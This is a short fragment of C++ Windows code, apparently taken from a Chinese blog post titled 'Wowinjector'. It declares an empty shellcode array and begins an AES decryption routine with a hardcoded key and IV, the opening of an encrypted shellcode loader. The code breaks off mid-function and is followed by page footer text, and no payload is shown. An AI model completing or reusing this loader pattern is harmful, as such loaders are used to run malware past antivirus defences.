#include <stdio.h>
#include <vector>
#include <windows.h>
#pragma warning(disable:4996)
#pragma comment(lib,"bcrypt.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
unsigned char shellcode[] = {
};
BOOL aes_decrypt()
{
bool res = false;
const char iv_temp[] = "aaaaaaaaaaaaaaaa";
unsigned char key[] = "12312312312312312312312312312312";
BCRYPT_ALG_HANDLE aes = NULL;
BCRYPT_KEY_HANDLE ctx = NULL;
NTSTATUS status = 0;
DWORD len_ciphertext = 0,
tmp_len = 0,
key_objectlen = 0;
PBYTE key_object = NULL;
uint8_t iv[256] = {
0 };
uint8_t ivlen = strlen(iv_temp) & 0xFF;
// we need to create a local copy of IV, as it is modified during decryption.
memcpy(&iv, iv_temp, ivlen);
Wowinjector-偷的
最新推荐文章于 2024-08-27 10:05:17 发布